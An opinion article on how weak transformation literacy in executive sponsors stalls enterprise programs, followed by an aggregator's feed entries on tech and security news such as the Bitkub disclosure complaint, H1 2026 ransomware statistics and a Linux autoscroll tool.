<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Strategic Command: World War I - Battles for Ypres DLC – Yay or Nay (PC)]]></title>
<description><![CDATA[It’s a bad idea to over-commit when it’s unclear whether the enemy is breaking or bending. We’re aiming for Ypres but would settle for Passchendaele if all goes right. But after five days, the breach the Allies have made in German lines is still small, and they are extracting a price of blood for...]]></description>
<link>https://tsecurity.de/de/3691056/it-security-nachrichten/strategic-command-world-war-i-battles-for-ypres-dlc-yay-or-nay-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691056/it-security-nachrichten/strategic-command-world-war-i-battles-for-ypres-dlc-yay-or-nay-pc/</guid>
<pubDate>Fri, 24 Jul 2026 10:58:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It’s a bad idea to over-commit when it’s unclear whether the enemy is breaking or bending. We’re aiming for Ypres but would settle for Passchendaele if all goes right. But after five days, the breach the Allies have made in German lines is still small, and they are extracting a price of blood for every taken hex.

So far, I’ve been replacing losses at the front, hoping to get the momentum going. But it might be time to take a one or two turn breather, use the artillery defensively, and bring in some fresh troops. A diversionary strike, which would gobble up some resources, might also help the Allies as they try to secure more victory points in Belgium.

Strategic Command: World War I - Battles for Ypres is developed by Fury Software and published by Matrix Games. This is the second downloadable content pack for the strategy game, focused on one of the most important strategic regions of the first global conflict.

The DLC features six campaigns. It all starts during ...]]></content:encoded>
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<title><![CDATA[Investors Spooked As Google And Tesla Burn Cash]]></title>
<description><![CDATA[Google and Tesla both report negative free cash flow as they pump capital into AI data centres, promising stellar returns later on This article has been indexed from Silicon UK Read the original article: Investors Spooked As Google And Tesla…
Read more →
The post Investors Spooked As Google And T...]]></description>
<link>https://tsecurity.de/de/3690980/it-security-nachrichten/investors-spooked-as-google-and-tesla-burn-cash/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690980/it-security-nachrichten/investors-spooked-as-google-and-tesla-burn-cash/</guid>
<pubDate>Fri, 24 Jul 2026 10:12:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google and Tesla both report negative free cash flow as they pump capital into AI data centres, promising stellar returns later on This article has been indexed from Silicon UK Read the original article: Investors Spooked As Google And Tesla…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/investors-spooked-as-google-and-tesla-burn-cash/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/investors-spooked-as-google-and-tesla-burn-cash/">Investors Spooked As Google And Tesla Burn Cash</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[midscroll: Windows-style middle-click autoscroll for Linux, implemented at the evdev layer so it works in every app on Wayland and X11]]></title>
<description><![CDATA[Windows has middle-click drag autoscroll. On Linux you get it in Firefox, and Chromium has it behind a flag, but nowhere else, which bugged me enough to write a daemon for it. Hold middle-click and drag, page scrolls that way, faster the further you drag. Release to stop. A plain middle click sti...]]></description>
<link>https://tsecurity.de/de/3690946/linux-tipps/midscroll-windows-style-middle-click-autoscroll-for-linux-implemented-at-the-evdev-layer-so-it-works-in-every-app-on-wayland-and-x11/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690946/linux-tipps/midscroll-windows-style-middle-click-autoscroll-for-linux-implemented-at-the-evdev-layer-so-it-works-in-every-app-on-wayland-and-x11/</guid>
<pubDate>Fri, 24 Jul 2026 10:02:54 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Windows has middle-click drag autoscroll. On Linux you get it in Firefox, and Chromium has it behind a flag, but nowhere else, which bugged me enough to write a daemon for it.</p> <p>Hold middle-click and drag, page scrolls that way, faster the further you drag. Release to stop. A plain middle click still pastes and opens links like normal. Diagonal drags do both axes. There's a toggle mode too if you'd rather click once to start it instead of holding.</p> <p>It works everywhere because it sits at the kernel input layer instead of hooking a toolkit. Grabs each mouse via evdev, re-emits through a per-mouse uinput mirror, injects wheel events during a drag. Nothing above it has to cooperate, so Wayland and X11 both just work. Mirrors copy the source mouse's name and IDs so libinput keeps your per-device pointer speed.</p> <p>Speed curve is Chromium's actual Windows autoscroll formula, 0.000008 * distance^2.2 px/ms. Tiny drags crawl, big ones fly. Tunable in a config file or a GTK settings window.</p> <p>Fair warning that it reads every mouse as root, so read it before you run it. It's two small Python files. The systemd unit is sandboxed and I left comments on why the directives I couldn't use would break it.</p> <p>Badge only shows on KDE Wayland, no flatpak, toggle mode kills middle-click paste. Rest is in the readme.</p> <p>FOSS under Unlicense</p> <p><a href="https://github.com/gnhen/midscroll">https://github.com/gnhen/midscroll</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/gnh999"> /u/gnh999 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v503xk/midscroll_windowsstyle_middleclick_autoscroll_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v503xk/midscroll_windowsstyle_middleclick_autoscroll_for/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Thailand SEC Files Criminal Complaint Against Bitkub Over 2021 Cyberattack]]></title>
<description><![CDATA[Thailand's cryptocurrency exchange Bitkub has rejected allegations of fraud after the Thailand SEC filed a criminal complaint related to the company's disclosures following the Bitkub cyberattack in 2021. The case focuses on how the exchange reported the impact of the cyberattack on Bitkub to reg...]]></description>
<link>https://tsecurity.de/de/3690896/it-security-nachrichten/thailand-sec-files-criminal-complaint-against-bitkub-over-2021-cyberattack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690896/it-security-nachrichten/thailand-sec-files-criminal-complaint-against-bitkub-over-2021-cyberattack/</guid>
<pubDate>Fri, 24 Jul 2026 09:10:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="832" height="515" src="https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Bitkub cyberattack" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack.webp 832w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-300x186.webp 300w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-768x475.webp 768w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-600x371.webp 600w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-150x93.webp 150w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-750x464.webp 750w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack.webp 832w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-300x186.webp 300w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-768x475.webp 768w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-600x371.webp 600w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-150x93.webp 150w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-750x464.webp 750w" sizes="(max-width: 832px) 100vw, 832px" title="Thailand SEC Files Criminal Complaint Against Bitkub Over 2021 Cyberattack 1"></p><span data-contrast="auto">Thailand's cryptocurrency exchange Bitkub has rejected allegations of fraud after the Thailand SEC filed a criminal complaint related to the company's disclosures following the Bitkub cyberattack in 2021. The case focuses on how the exchange reported the impact of the cyberattack on Bitkub to regulators, rather than on the safety of customer funds.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">In response to the complaint, Bitkub stated that all customer assets currently held on its platform remain safe, fully accounted for, and protected in accordance with applicable regulations. The company argued that the allegations stem from decisions made during the aftermath of the 2021 <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29116">security</a> breach and do not reflect fraudulent conduct.</span><span data-ccp-props="{}"> </span>
<h3><strong>Thailand SEC Files Complaint Over the 2021 Bitkub Cyberattack </strong></h3>
<span data-contrast="auto">On 23 July 2026, the<a href="https://www.sec.or.th/EN/Pages/News_Detail.aspx?SECID=13139" target="_blank" rel="nofollow noopener"> Thailand SEC filed a criminal complaint</a> against Bitkub Online Co., Ltd. and its former directors, Sakolkorn Sakavee and Thaweesap Rawan. The regulator alleged that the company's daily net capital reports submitted between 10 May and 30 October 2021 failed to accurately reflect the material reduction in its digital asset holdings caused by the Bitkub <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29115">cyberattack</a>.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to the regulator, the reports did not disclose the impact of the theft on the company's asset balance. The Thailand SEC also accused the two former directors of making false entries in company documents that gave the impression that customer assets were still being held normally and that the company had not suffered any damage.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The complaint has been referred to Thailand's Economic Crime Suppression Division for further investigation. Following that process, the matter may be forwarded to prosecutors and the courts. The Thailand SEC noted that filing a <a href="https://thecyberexpress.com/fake-emails-scam-indians-heres-what-to-know/" target="_blank" rel="noopener">criminal complaint</a> does not represent a final determination of guilt.</span><span data-ccp-props="{}"> </span>
<h3><strong>Bitkub Says Disclosure Decision was Intended to Prevent Customer Losses</strong></h3>
<span data-contrast="auto">Following media reports about the complaint, <a href="https://www.linkedin.com/posts/on-23-july-2026-news-reports-emerged-regarding-share-7486045546315694081-abKc/?utm_source=share&amp;utm_medium=member_android&amp;rcm=ACoAAAfAnJwBMfzai0rLzfzxnZE_NCnVt2ZLE_o" target="_blank" rel="nofollow noopener">Bitkub published a statement on LinkedIn</a> explaining its position on the cyberattack and the subsequent reporting decisions.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The company said the allegations relate to an incident in early May 2021, when one of its digital asset wallets was compromised by cybercriminals. Bitkub acknowledged that the breach was not disclosed at the time.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to the company, the individual responsible for disclosure obligations deliberately withheld information about the wallet compromise. Bitkub said the decision was made to avoid triggering a "bank run," or mass withdrawals of digital assets by customers, while the company worked to replace the stolen assets.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The exchange stated:</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">"The decision of such individual not to disclose the incident was made with the intention to prevent a bank run—that is, a mass withdrawal of digital assets by customers upon learning of the theft—which could have rendered the Company unable to procure sufficient replacement digital assets for the customers while the recovery process was still ongoing."</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Bitkub added that such a scenario could have resulted in significant customer losses and broader damage to Thailand's digital asset industry.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The company also stressed that, at the time of the Bitkub <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-a-cyber-attack/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29117">cyberattack</a>, all of its digital asset wallet security systems complied with standards prescribed by the relevant authorities and had been audited.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Co-founders Replaced Stolen Assets After Cyberattack on Bitkub</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Although the digital assets stolen during the cyberattack on Bitkub were never recovered, the company said its co-founders voluntarily absorbed the <a href="https://thecyberexpress.com/keytronic-reveals-million-loss-cyberattack/" target="_blank" rel="noopener">financial loss</a>.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to Bitkub, the co-founders purchased digital assets matching the same types and quantities as those stolen and transferred them to the company. As a result, the exchange said neither its customers nor the business ultimately suffered any financial loss from the incident.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">In its statement, Bitkub said:</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">"As no bank run occurred, even though the stolen digital assets could not be recovered, the Co-Founders of the Bitkub Group voluntarily absorbed the loss by purchasing equivalent digital assets (in the same type and quantity as those stolen) and providing them to the Company. Consequently, neither the Company nor its customers suffered any financial loss from the theft."</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Thailand SEC Previously Confirmed Customer Assets Were Intact</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Bitkub also pointed to the findings of an earlier inspection conducted by the Thailand SEC after reports of the Bitkub cyberattack surfaced online.</span><span data-ccp-props="{}"> </span><span data-contrast="auto">According to the company, the regulator verified that, as of 8 September 2025, all customer assets held by the exchange were safe and fully accounted for.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The company reiterated this point in its latest statement, saying:</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">"At the outset, for the sake of clarity and mutual understanding, the Company wishes to affirm that all customers' assets currently held by the Company are safe and fully accounted for. The Company reiterates its strict compliance with all applicable laws and regulations in safeguarding and maintaining customer assets."</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Bitkub maintained that the criminal complaint relates to historical reporting practices between May and October 2021, more than five years ago, rather than to the current condition of customer assets or any ongoing security concerns.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">As the investigation proceeds, the case will determine whether the company's reporting following the Bitkub cyberattack complied with regulatory requirements. For now, the complaint remains an allegation, and the legal process involving the Thailand SEC, investigators, prosecutors, and the courts has yet to reach a final conclusion.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
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<title><![CDATA[MSI Prestige 13 AI+ review: Small, affordable and hard to fault]]></title>
<description><![CDATA[The new MSI Prestige 13 AI+ is every bit as impressive as its big brother, the Prestige 16 AI+, only a lot smaller and a lot lighter]]></description>
<link>https://tsecurity.de/de/3690893/it-security-nachrichten/msi-prestige-13-ai-review-small-affordable-and-hard-to-fault/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690893/it-security-nachrichten/msi-prestige-13-ai-review-small-affordable-and-hard-to-fault/</guid>
<pubDate>Fri, 24 Jul 2026 09:10:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The new MSI Prestige 13 AI+ is every bit as impressive as its big brother, the Prestige 16 AI+, only a lot smaller and a lot lighter]]></content:encoded>
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<title><![CDATA[One Country Absorbed Nearly Half of the World’s Ransomware Attacks in Just Six Months – The United States]]></title>
<description><![CDATA[Strip away the geopolitics, the hacktivist noise, and the espionage headlines, and one number from the first half of 2026 stands out above everything else: 1,721. That's how many ransomware attacks hit organizations in the United States between January and June, according to new research from Cyb...]]></description>
<link>https://tsecurity.de/de/3690767/it-security-nachrichten/one-country-absorbed-nearly-half-of-the-worlds-ransomware-attacks-in-just-six-months-the-united-states/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690767/it-security-nachrichten/one-country-absorbed-nearly-half-of-the-worlds-ransomware-attacks-in-just-six-months-the-united-states/</guid>
<pubDate>Fri, 24 Jul 2026 07:42:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="800" height="533" src="https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Ransomware Attacks, Qilin, US, Ransomware Attacks on US" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp 800w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp 800w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-750x500.webp 750w" sizes="(max-width: 800px) 100vw, 800px" title="One Country Absorbed Nearly Half of the World's Ransomware Attacks in Just Six Months - The United States 1"></p><p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="3:1-3:473;116-588">Strip away the geopolitics, the hacktivist noise, and the espionage headlines, and one number from the first half of 2026 stands out above everything else: 1,721. That's how many ransomware attacks hit organizations in the United States between January and June, according to new research from <a href="https://cyble.com/resources/research-reports/global-threat-landscape-h1-2026/" target="_blank" rel="noopener">Cyble Research and Intelligence Labs</a> (CRIL). It's not just the highest total of any country tracked in the report — it's more than the next nine most-targeted countries combined.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="5:1-5:375;590-964">Canada, in second place worldwide, recorded 179 attacks. Germany logged 155. The United Kingdom, 138. Add up the rest of the global top 10 — France, Italy, Spain, Thailand, India and Brazil — and the total still falls more than 600 attacks short of the U.S. figure alone. Out of 3,836 <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-ransomware/" target="_blank" rel="noopener" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="29106">ransomware</a> attacks CRIL tracked worldwide this half, roughly 45% landed on American soil.</p>

<h5 data-sourcepos="5:1-5:375;590-964">Also read: <a href="https://thecyberexpress.com/fairlife-ransomware-attack/">Fairlife Ransomware Attack Hits Production Systems, U.S. Operations Suspended</a></h5>
<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="7:1-7:39;966-1004"><strong>A Single Region, an Outsized Share</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="9:1-9:434;1006-1439">Widen the lens slightly and the picture holds. North America as a whole recorded 1,981 ransomware attacks in H1 2026 — more than half of every ransomware incident Cyble observed globally — alongside 35 <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29101">data</a> breach and leak incidents and 9 initial access sale listings. The report describes the region as home to "a mature, persistently active RaaS ecosystem operating at high volume across a wide range of industries and geographies."</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="11:1-11:544;1441-1984">Two ransomware-as-a-service operators did much of the damage. Qilin, the single most prolific gang worldwide, claimed 370 of those North American attacks on its own — nearly 19% of the regional total. Akira followed with 268, and INC Ransom added another 164. Together, Qilin and Akira alone accounted for more than half of all recorded ransomware activity across the region, a level of concentration that points to a small number of highly organized affiliate networks doing the bulk of the damage rather than a diffuse swarm of opportunists.</p>

<h5 data-sourcepos="11:1-11:544;1441-1984">Also read: <a href="https://thecyberexpress.com/qilin-ransomware-group-ttps/">Qilin Ransomware Group’s TTPs Examined by Researchers</a></h5>
<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="13:1-13:29;1986-2014"><strong>Where the Pressure Lands</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="15:1-15:705;2016-2720">Professional Services bore the brunt of North American ransomware activity, with INC Ransom showing a marked preference for law firms and other high-value services with sensitive client data. Construction, Manufacturing and Healthcare followed close behind.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="15:1-15:705;2016-2720">One operator, AiLock, stood out for a coordinated wave of victim disclosures that all landed on the same day — March 3 — a pattern consistent with a mass-exploitation campaign rather than isolated intrusions. LockBit, despite years of law enforcement pressure and takedown attempts, kept up a steady tempo against public-sector and educational targets throughout the period, showcasing how difficult the group has been to fully dismantle.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="17:1-17:611;2722-3332">On the <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-data-breach/" target="_blank" rel="noopener" title="data breach" data-wpil-keyword-link="linked" data-wpil-monitor-id="29105">data breach</a> side, Technology and financial services (BFSI) were the most frequently targeted sectors in North America, together accounting for roughly 43% of incidents — a reflection of how much intellectual property and monetizable personal data those industries hold.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="17:1-17:611;2722-3332">Notably, Agriculture &amp; Livestock emerged as a significant target for initial access brokers, accounting for a third of all access listings tied to the region. Cyble flags this as a sign of "growing <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risk" data-wpil-keyword-link="linked" data-wpil-monitor-id="29103">risk</a> in the food supply chain," an area that has historically drawn less attention from ransomware operators than finance or healthcare.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="19:1-19:421;3334-3754">The initial access market itself was strikingly concentrated: two sellers, tracked under the handles "redpin" and "xpl0itrs," accounted for nearly all listings targeting North American organizations. Threat actors also continued to lean on known and zero-day <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29104">vulnerabilities</a> in widely deployed enterprise platforms — including products from Ivanti and Palo Alto Networks — as their preferred way into corporate networks.</p>

<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="21:1-21:37;3756-3792"><strong>Hacktivism Blurs into Cybercrime</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="23:1-23:647;3794-4440">North America wasn't spared the <a class="wpil_keyword_link" href="https://cyble.com/hacktivism/" target="_blank" rel="noopener" title="hacktivism" data-wpil-keyword-link="linked" data-wpil-monitor-id="29102">hacktivism</a> wave sweeping the rest of the world either. Collectives including SOLDADOS DIGITALES – UNIÓN AMERICANA and LYSTIC TEAM #ID drove roughly 56 <a class="wpil_keyword_link" href="https://cyble.com/general/data-leak/" target="_blank" rel="noopener" title="data leak" data-wpil-keyword-link="linked" data-wpil-monitor-id="29100">data leak</a> or dump posts and touched about 360 unique domains across the region, with Government, Technology, financial services and telecommunications entities most frequently in the crosshairs.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="23:1-23:647;3794-4440">Cyble's broader findings suggest many groups marketing themselves as ideologically driven hacktivists are, in practice, running side businesses in stolen data brokerage and DDoS-for-hire services — a blurring of motive that complicates how defenders triage the threat.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="27:1-27:692;4480-5171">The scale of the U.S. numbers doesn't necessarily mean American companies have weaker defenses than their global peers — the concentration also reflects the sheer size and digital density of the U.S. economy, and its outsized share of the high-value targets ransomware affiliates chase. But the data does argue for a shift in posture.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="27:1-27:692;4480-5171">Cyble's broader recommendations — treating data exfiltration, not just encryption, as the primary risk; prioritizing patches for the recurring vendor list; and monitoring initial access markets as a leading indicator rather than an afterthought — apply nowhere more urgently than in a country absorbing this much of the world's ransomware volume on its own.</p>]]></content:encoded>
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<title><![CDATA[Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI]]></title>
<description><![CDATA[Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most ...]]></description>
<link>https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</guid>
<pubDate>Fri, 24 Jul 2026 02:50:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
